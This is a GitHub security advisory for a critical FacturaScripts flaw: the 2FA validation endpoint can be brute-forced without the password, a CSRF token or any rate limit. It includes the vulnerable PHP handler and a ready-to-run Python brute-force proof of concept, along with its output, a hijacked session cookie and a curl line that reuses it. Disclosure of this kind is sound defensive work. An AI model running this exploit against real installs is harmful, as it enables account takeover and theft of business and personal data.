GitHub Advisoryadvisory · Packagist
GHSA-c67f-gmxw-mj93 FacturaScripts: Account takeover of any 2FA-enabled user
CRITICAL
Official page ↗
- Aliases
- CVE-2026-47677
- Ecosystem
- Packagist
- Packages
- facturascripts/facturascripts
- Severity
- Critical
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
- Weaknesses
- CWE-287
- Reviewed
- 2026-07-13
Affected packages
• Packagist facturascripts/facturascripts: < 2026.3 → fixed in 2026.3
Description
Authentication bypass in FacturaScripts: `/login?action=two-factor-validation` accepts brute-forceable TOTP without password or CSRF protection
Summary
`Core/Controller/Login.php::twoFactorValidationAction()` accepts an
unauthenticated POST containing only `fsNick` and `fsTwoFactorCode`. If the
TOTP value matches, the server issues a full `fsNick` + `fsLogkey` session
cookie pair. The handler:
1. Does not verify the password — the user is not required to have just
completed `loginAction`.
2. Does not call `validateFormToken()` — no CSRF token is required (every
other action handler in the same file does call it).
3. Does not call `userHasManyIncidents()` before processing — `loginAction`
and `changePasswordAction` both check this guard *before* doing work; the
2FA handler only writes to the incident list *after* a failure, and the
incident list is consulted by `loginAction` / `changePasswordAction` but
not by the 2FA handler itself. The endpoint therefore has no
rate-limiting at all.
Combined with `TwoFactorManager::VERIFICATION_WINDOW = 8` (google2fa default
is 1), 17 distinct six-digit codes are valid simultaneously and each remains
valid for ~4 minutes. The expected number of guesses to land a valid code is
> N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ 40 800 attempts (50% success)
On a default LAMP install a single-laptop attacker sustains ~400 RPS from
one source IP — a few minutes per account.
The vulnerability gives complete account takeover of any 2FA-enabled
user to any unauthenticated network attacker who knows the target's nick.
Admin nicks are typically public information (`admin`, the company name,
the person's initials).
Severity
CVSS 4.0 base score: 9.3 — Critical
Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N`
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network (N) | One HTTP POST over the public internet. |
| Attack Complexity (AC) | Low (L) | No timing, configuration, or environmental conditions. |
| Attack Requirements (AT) | None (N) | The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user. |
| Privileges Required (PR) | None (N) | The endpoint accepts the attack unauthenticated. |
| User Interaction (UI) | None (N) | No user action; the victim only has to have 2FA enabled. |
| Vulnerable Confidentiality (VC) | High (H) | Full read access as the hijacked user (admin → entire database). |
| Vulnerable Integrity (VI) | High (H) | Full write access as the hijacked user. |
| Vulnerable Availability (VA) | Low (L) | Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via `loginAction` for 10 minutes (`MAX_INCIDENT_COUNT = 6`, `INCIDENT_EXPIRATION_TIME = 600`). Targeted account-lockout DoS against any nick. |
| Subsequent (SC / SI / SA) | None | No second-system pivot from the bug itself. |
Threat metrics:
• Exploit Maturity (E): Attacked (A) — public PoC included below, runs out of the box.
Affected component
• File: `Core/Controller/Login.php`
• Method: `twoFactorValidationAction()` (lines 317–328 in the repository at commit `7392b489b`, master branch as of 2026-05-13).
• Related: `Core/Lib/TwoFactorManager.php:30` (`VERIFICATION_WINDOW = 8`).
Vulnerable code:
```php
protected function twoFactorValidationAction(Request $request): void
{
$userName = $request->input('fsNick');
$user = new User();
if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
Tools::log()->warning('two-factor-code-invalid');
$this->saveIncident(Session::getClientIp(), $userName);
return;
}
$this->updateUserAndRedirect($user, Session::getClientIp(), $request);
}
```
Compare with `loginAction` in the same file, which calls
`validateFormToken()` (line 275) and `userHasManyIncidents()` (line 287)
*before* doing any work. The 2FA handler does neither.
Proof of concept
1. Brute force when only the victim's nick is known
This requires no prior
knowledge beyond the target's nick. Because the 2FA endpoint has no
rate-limiting and `VERIFICATION_WINDOW=8` keeps ~17 codes valid at once,
random guessing finds a valid code in seconds to minutes from a single IP.
`poc_2fa_brute.py`:
```python
!/usr/bin/env python3
"""
PoC: brute-force the 2FA endpoint.
Required: pip install requests
"""
import os, sys, time, random, threading, requests
BASE = os.environ.get("BASE", "http://localhost:9999")
NICK = os.environ.get("NICK", "admin")
THREADS = int(os.environ.get("THREADS", "32"))
MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000"))
hit = threading.Event()
attempt_count = [0]
lock = threading.Lock()
start = time.time()
result = {}
def worker(tid: int) -> None:
s = requests.Session()
while not hit.is_set():
with lock:
n = attempt_count[0]
if n >= MAX_TRIES:
return
attempt_count[0] += 1
code = f"{random.randint(0, 999999):06d}"
try:
r = s.post(f"{BASE}/login",
data={"action": "two-factor-validation",
"fsNick": NICK,
"fsTwoFactorCode": code},
allow_redirects=False, timeout=5)
except requests.RequestException:
continue
sc = r.headers.get("Set-Cookie", "")
if r.status_code == 302 and "fsLogkey" in sc:
with lock:
if hit.is_set():
return
hit.set()
result["code"] = code
result["n"] = n
result["cookies"] = {c.name: c.value for c in r.cookies}
return
def main() -> int:
print(f"[*] target={BASE} nick={NICK} threads={THREADS}")
threads = [threading.Thread(target=worker, args=(i,), daemon=True)
for i in range(THREADS)]
for t in threads: t.start()
while not hit.is_set() and attempt_count[0] 7d} "
f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True)
for t in threads: t.join()
elapsed = time.time() - start
if hit.is_set():
print(f"\n[+] FOUND code={result['code']} after {result['n']:,} "
f"attempts in {elapsed:.1f}s")
cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items())
print(f"[+] Cookies: {cookie_hdr}")
print(f"\n curl --cookie '{cookie_hdr}' {BASE}/ListUser")
return 0
print(f"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit")
return 1
if __name__ == "__main__":
sys.exit(main())
```
Observed result against the same install (victim user has 2FA enabled,
attacker knows only the nick `victim`):
```
[*] target=http://localhost:9999 nick=victim threads=32
[ 2.2s] attempts= 1094 rps= 493
[ 24.4s] attempts= 11535 rps= 473
[ 50.0s] attempts= 23420 rps= 468
[100.7s] attempts= 41247 rps= 410
[144.9s] attempts= 55418 rps= 383
[+] FOUND code=055473 after 55,773 attempts in 146.0s
[+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN
```
A second run terminated in 24.6 s after 11 569 attempts. Both runs used a
single source IP with no proxy rotation, no HTTP/2, no parallel hosts.
Impact
For each 2FA-enabled user (including admins):
• Confidentiality: full read access to anything the victim can see —
invoices, customer data, suppliers, accounting ledgers, attached files,
user PII, API keys, plugin configuration.
• Integrity: full write access — create/modify/delete records, change
permissions, issue new API keys, upload plugins, install code (admin).
-…
Related
Alias · not in database (1)
Weakness · CWE (1)
- CWE-287 Improper Authentication weakness